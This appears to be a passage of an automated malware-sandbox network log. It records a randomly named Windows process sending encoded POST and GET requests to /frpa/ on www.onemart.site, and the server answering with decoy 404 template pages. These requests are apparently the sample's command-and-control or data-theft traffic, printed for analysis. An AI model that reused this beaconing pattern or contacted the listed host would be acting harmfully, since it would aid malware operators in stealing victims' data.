Nov 5, 2024 15:23:20.485023022 CET	1236	IN	Data Raw: 22 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 20 61 63 74 69 76 65 22 20 64 61 74 61 2d 62 73 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 3e 50 61 67 65 73 3c 2f 61 3e 0d 0a 20 20 20 Data Ascii: " class="nav-link dropdown-toggle active" data-bs-toggle="dropdown">Pages</a> <div class="dropdown-menu rounded-0 m-0"> <a href="testimonial.html" class="dropdown-item">Testimonial<
Nov 5, 2024 15:23:20.485035896 CET	1236	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 62 72 65 61 64 63 72 75 6d 62 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 50 61 67 65 73 3c 2f 61 3e 3c 2f Data Ascii: > <li class="breadcrumb-item"><a href="#">Pages</a></li> <li class="breadcrumb-item text-body active" aria-current="page">404 Error</li> </ol>
Nov 5, 2024 15:23:20.485045910 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 31 22 3e 50 72 6f 70 65 72 74 79 20 54 79 70 65 20 31 3c 2f 6f 70 74 69 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <option value="1">Property Type 1</option> <option value="2">Property Type 2</option> <option value="3">Property Type 3</option>
Nov 5, 2024 15:23:20.485805988 CET	1236	IN	Data Raw: 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 6a 75 73 74 69 66 79 2d 63 Data Ascii: <div class="container text-center"> <div class="row justify-content-center"> <div class="col-lg-6"> <i class="bi bi-exclamation-triangle display-1 text-primary"></i>
Nov 5, 2024 15:23:20.485819101 CET	36	IN	Data Raw: 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 70 68 6f 6e 65 2d 61 6c 74 20 6d 65 2d 33 22 3e 3c 2f 69 Data Ascii: ><i class="fa fa-phone-alt me-3"></i
Nov 5, 2024 15:23:20.485833883 CET	1236	IN	Data Raw: 3e 2b 30 31 32 20 33 34 35 20 36 37 38 39 30 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 62 2d 32 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 65 6e 76 65 6c Data Ascii: >+012 345 67890</p> <p class="mb-2"><i class="fa fa-envelope me-3"></i>info@example.com</p> <div class="d-flex pt-2"> <a class="btn btn-outline-light btn-social" hr
Nov 5, 2024 15:23:20.485846043 CET	1236	IN	Data Raw: 66 3d 22 22 3e 54 65 72 6d 73 20 26 20 43 6f 6e 64 69 74 69 6f 6e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 Data Ascii: f="">Terms & Condition</a> </div> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Photo Gallery</h5> <div class="row g-2 pt-2">
Nov 5, 2024 15:23:20.489850998 CET	1236	IN	Data Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 73 3d 22 69 6d 67 2d 66 6c 75 69 64 20 72 6f 75 6e 64 65 64 Data Ascii: <div class="col-4"> <img class="img-fluid rounded bg-light p-1" src="img/property-6.jpg" alt=""> </div> </div> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	55578	209.74.95.29	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:22.345351934 CET	816	OUT	POST /frpa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.onemart.site Origin: http://www.onemart.site Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.onemart.site/frpa/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 37 36 69 66 41 73 73 2f 6f 70 44 71 62 30 6d 6e 4f 6c 46 6b 63 6e 70 59 41 76 71 79 48 61 52 2f 55 4b 4a 53 4d 35 53 47 47 4e 41 6f 41 48 53 70 50 58 4a 64 5a 36 66 54 7a 74 6d 56 74 2b 44 67 54 62 59 30 38 7a 56 58 76 34 38 6b 50 6c 6a 5a 59 49 2b 41 5a 2f 6b 6f 6a 39 50 41 6a 64 66 41 52 57 39 58 33 38 4b 43 4b 79 71 4e 74 54 53 73 53 45 58 63 47 6c 75 75 35 74 73 66 45 35 77 42 67 4c 62 42 64 52 50 72 41 44 4d 2f 4a 47 62 49 30 78 45 4e 41 4b 64 54 52 57 72 6a 51 62 62 33 30 77 37 51 4f 36 4a 6f 72 39 49 65 44 50 6e 71 6b 2f 51 45 2f 4e 74 7a 44 58 55 4b 79 70 69 65 32 6f 41 4d 72 63 5a 33 2b 67 6f 77 57 65 39 4c 6a 37 4c 2b 77 62 73 3d Data Ascii: zhl=76ifAss/opDqb0mnOlFkcnpYAvqyHaR/UKJSM5SGGNAoAHSpPXJdZ6fTztmVt+DgTbY08zVXv48kPljZYI+AZ/koj9PAjdfARW9X38KCKyqNtTSsSEXcGluu5tsfE5wBgLbBdRPrADM/JGbI0xENAKdTRWrjQbb30w7QO6Jor9IeDPnqk/QE/NtzDXUKypie2oAMrcZ3+gowWe9Lj7L+wbs=
Nov 5, 2024 15:23:23.026525021 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:23:22 GMT Server: Apache Content-Length: 13928 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
Nov 5, 2024 15:23:23.026648045 CET	212	IN	Data Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 Data Ascii: " rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel="stylesheet">
Nov 5, 2024 15:23:23.026660919 CET	1236	IN	Data Raw: 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 78 78 6c 20 62 67 2d 77 68 69 74 65 20 70 2d 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 53 70 69 Data Ascii: </head><body> <div class="container-xxl bg-white p-0"> ... Spinner Start --> <div id="spinner" class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-con
Nov 5, 2024 15:23:23.026921034 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 6c 61 70 73 65 20 6e 61 76 62 61 72 2d 63 6f 6c 6c 61 70 73 65 22 20 69 64 3d 22 6e 61 76 62 61 Data Ascii: </button> <div class="collapse navbar-collapse" id="navbarCollapse"> <div class="navbar-nav ms-auto"> <a href="index.html" class="nav-item nav-link">Home</a>
Nov 5, 2024 15:23:23.026936054 CET	1236	IN	Data Raw: 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 3e 54 65 73 74 69 6d 6f 6e 69 61 6c 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 34 30 34 2e 68 Data Ascii: ss="dropdown-item">Testimonial</a> <a href="404.html" class="dropdown-item active">404 Error</a> </div> </div> <a href="contact.htm
Nov 5, 2024 15:23:23.026949883 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 2f 6f 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6e 61 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </ol> </nav> </div> <div class="col-md-6 animated fadeIn"> <img class="img-fluid" src="img/header.jpg" alt=""> </div> </div>
Nov 5, 2024 15:23:23.027790070 CET	1236	IN	Data Raw: 20 33 3c 2f 6f 70 74 69 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 65 6c 65 63 74 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 3</option> </select> </div> <div class="col-md-4"> <select class="form-select border-0 py-3">
Nov 5, 2024 15:23:23.027806044 CET	1236	IN	Data Raw: 31 20 74 65 78 74 2d 70 72 69 6d 61 72 79 22 3e 3c 2f 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 64 69 73 70 6c 61 79 2d 31 22 3e 34 30 34 3c 2f 68 31 3e 0d 0a 20 20 20 20 Data Ascii: 1 text-primary"></i> <h1 class="display-1">404</h1> <h1 class="mb-4">Page Not Found</h1> <p class="mb-4">Were sorry, the page you have looked for does not exist in o
Nov 5, 2024 15:23:23.027820110 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 6c 69 67 68 74 20 62 74 6e 2d 73 6f 63 69 61 6c 22 20 68 72 65 66 3d 22 22 3e 3c 69 20 63 6c 61 73 73 3d Data Ascii: <a class="btn btn-outline-light btn-social" href=""><i class="fab fa-twitter"></i></a> <a class="btn btn-outline-light btn-social" href=""><i class="fab fa-facebook-f"></i></a>
Nov 5, 2024 15:23:23.028564930 CET	1236	IN	Data Raw: 68 35 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 67 2d 32 20 70 74 2d 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: h5> <div class="row g-2 pt-2"> <div class="col-4"> <img class="img-fluid rounded bg-light p-1" src="img/property-1.jpg" alt="">
Nov 5, 2024 15:23:23.031691074 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d Data Ascii: </div> </div> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Newsletter</h5> <p>Dolor amet sit justo amet elitr clita ipsum

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	55594	209.74.95.29	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:24.890872002 CET	10898	OUT	POST /frpa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.onemart.site Origin: http://www.onemart.site Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.onemart.site/frpa/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 37 36 69 66 41 73 73 2f 6f 70 44 71 62 30 6d 6e 4f 6c 46 6b 63 6e 70 59 41 76 71 79 48 61 52 2f 55 4b 4a 53 4d 35 53 47 47 4e 49 6f 41 78 47 70 4f 32 4a 64 59 36 66 54 77 74 6d 55 74 2b 43 36 54 62 41 77 38 7a 5a 74 76 36 30 6b 41 6d 72 5a 64 38 69 41 4d 76 6b 6f 68 39 50 42 6e 64 66 77 52 57 74 62 33 38 61 43 4b 79 71 4e 74 51 4b 73 62 32 7a 63 56 31 75 70 2b 74 73 44 56 70 78 6d 67 4b 7a 77 64 52 4c 52 41 53 73 2f 4f 6d 4c 49 33 44 73 4e 59 61 64 52 64 32 72 37 51 62 58 53 30 77 6e 36 4f 36 4e 53 72 36 34 65 54 75 43 38 7a 4d 34 4c 6a 73 6b 71 42 6d 6b 5a 39 34 2b 46 37 71 38 30 73 39 64 30 74 44 63 6e 59 4d 6b 6e 37 4c 79 36 74 63 4e 66 42 33 2b 38 6c 34 38 46 4e 49 64 37 4b 4c 48 36 62 68 57 58 49 33 66 43 30 45 42 61 50 69 66 36 67 55 71 43 33 74 69 6e 79 4c 50 71 46 42 68 6f 48 4a 42 30 72 6d 50 34 49 33 58 6e 6f 4a 34 6e 75 66 72 33 6d 4b 39 47 43 4c 51 66 50 49 6d 64 34 4b 71 4b 6c 30 6d 4b 38 6b 4c 78 53 36 58 69 79 33 70 54 47 61 6d 57 72 44 35 75 30 70 32 31 34 6c 30 7a 59 41 [TRUNCATED] Data Ascii: zhl=76ifAss/opDqb0mnOlFkcnpYAvqyHaR/UKJSM5SGGNIoAxGpO2JdY6fTwtmUt+C6TbAw8zZtv60kAmrZd8iAMvkoh9PBndfwRWtb38aCKyqNtQKsb2zcV1up+tsDVpxmgKzwdRLRASs/OmLI3DsNYadRd2r7QbXS0wn6O6NSr64eTuC8zM4LjskqBmkZ94+F7q80s9d0tDcnYMkn7Ly6tcNfB3+8l48FNId7KLH6bhWXI3fC0EBaPif6gUqC3tinyLPqFBhoHJB0rmP4I3XnoJ4nufr3mK9GCLQfPImd4KqKl0mK8kLxS6Xiy3pTGamWrD5u0p214l0zYAJCG9rMM0Xb5EzG/GyqTJw/dfYzehjma5KKZOptwSOLTeF1tVcsEQF7R2A0Mln/7GApbsXQCAeWGxgXOP9albfDJOt/UIM5FcW0rK2xPzs6rA1rQMNyK2VuNGemzfhEV9OMQJ8FeTHD01gQhEG67ChDCZRb6qUejhab81kQQfXZ7BHw/V21mid7Mh5Ss/3SAER/K+VqoqeN+5xuVSJv/ExacBvqdPxpvsm5PuliwFKe8JEyOkUTkYKHMN/ZUX/El30h2XLpYfBwPZ5/g+P3E2DcnHdV5pCCTI11a+9laV6ORBnwMJ4/azqQA7zHWOPjhlOTR1ZLpWAlskLrGq4lo1aAzqrBtWPMmmejWVO6jacsQLeRzjMY+sQNIAiC7uNY7g5ESuoik/dgnWPDgHcS9hWBi2mnknx3uTkXLQfWHJHzVDgSHVttMaVWtUnjPgAEDMhRLXYHZ1Mej/t7WRdY9KA4zT9RIk2Fnf0LTzc1OsFR3AYnBsXW6D8mK8tbNDis7iFQvuDWXBmwMS05Kp1Ms8SSpyORTn7vNkNmtCY1jPJqzTcFLzkLL4mPPMPYACWMsuWC1eirTvYZTWawtmz9Vh25anaM0BwQcQA5ftcEvpfZGbaj70XjZYFaLnrxK1IAfMiPGvRNB49EeHvzQrVJ9sKwFqdOKncr1VeR [TRUNCATED]
Nov 5, 2024 15:23:25.564204931 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:23:25 GMT Server: Apache Content-Length: 13928 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
Nov 5, 2024 15:23:25.564311028 CET	1236	IN	Data Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 Data Ascii: " rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel="stylesheet"></head><body> <div cl
Nov 5, 2024 15:23:25.564326048 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 64 61 Data Ascii: </a> <button type="button" class="navbar-toggler" data-bs-toggle="collapse" data-bs-target="#navbarCollapse"> <span class="navbar-toggler-icon"></span> </button>
Nov 5, 2024 15:23:25.564815044 CET	1236	IN	Data Raw: 22 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 20 61 63 74 69 76 65 22 20 64 61 74 61 2d 62 73 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 3e 50 61 67 65 73 3c 2f 61 3e 0d 0a 20 20 20 Data Ascii: " class="nav-link dropdown-toggle active" data-bs-toggle="dropdown">Pages</a> <div class="dropdown-menu rounded-0 m-0"> <a href="testimonial.html" class="dropdown-item">Testimonial<
Nov 5, 2024 15:23:25.564829111 CET	848	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 62 72 65 61 64 63 72 75 6d 62 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 50 61 67 65 73 3c 2f 61 3e 3c 2f Data Ascii: > <li class="breadcrumb-item"><a href="#">Pages</a></li> <li class="breadcrumb-item text-body active" aria-current="page">404 Error</li> </ol>
Nov 5, 2024 15:23:25.565268993 CET	1236	IN	Data Raw: 73 3d 22 63 6f 6c 2d 6d 64 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74 Data Ascii: s="col-md-4"> <input type="text" class="form-control border-0 py-3" placeholder="Search Keyword"> </div> <div class="col-md-4">
Nov 5, 2024 15:23:25.565282106 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </div> <div class="col-md-2"> <button class="btn btn-dark border-0 w-100 py-3">Search</button> </div> </div> </div> </div>
Nov 5, 2024 15:23:25.565293074 CET	1236	IN	Data Raw: 66 61 64 65 49 6e 22 20 64 61 74 61 2d 77 6f 77 2d 64 65 6c 61 79 3d 22 30 2e 31 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 70 79 2d 35 22 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: fadeIn" data-wow-delay="0.1s"> <div class="container py-5"> <div class="row g-5"> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Get In Touch</h5>
Nov 5, 2024 15:23:25.565304995 CET	1236	IN	Data Raw: 69 6e 6b 73 3c 2f 68 35 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 6c 69 6e 6b 20 74 65 78 74 2d 77 68 69 74 65 2d 35 30 22 20 68 72 65 66 3d 22 22 3e 41 Data Ascii: inks</h5> <a class="btn btn-link text-white-50" href="">About Us</a> <a class="btn btn-link text-white-50" href="">Contact Us</a> <a class="btn btn-link text-white-50"
Nov 5, 2024 15:23:25.566135883 CET	848	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: div> <div class="col-4"> <img class="img-fluid rounded bg-light p-1" src="img/property-4.jpg" alt=""> </div> <div class="co
Nov 5, 2024 15:23:25.569329023 CET	1236	IN	Data Raw: 72 20 65 73 74 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 73 69 74 69 6f 6e 2d 72 65 6c 61 74 69 76 65 20 6d 78 2d 61 75 74 6f 22 20 73 74 79 6c 65 3d 22 Data Ascii: r est.</p> <div class="position-relative mx-auto" style="max-width: 400px;"> <input class="form-control bg-transparent w-100 py-3 ps-4 pe-5" type="text" placeholder="Your email">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	55609	209.74.95.29	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:27.431590080 CET	537	OUT	GET /frpa/?X8Rx1=znhhIbB8nN&zhl=24K/DZkmoc7bHzW+Clhod14EO+WVCLplL8BuA7PGHf8qDHCdDnlgU8fv6Zi4ouLCHtMfxhN5psYeEWHEa5SDdP5UtNzqgNLmQXsJ8/qLKwWQm26aR0vbL2E= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.onemart.site Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
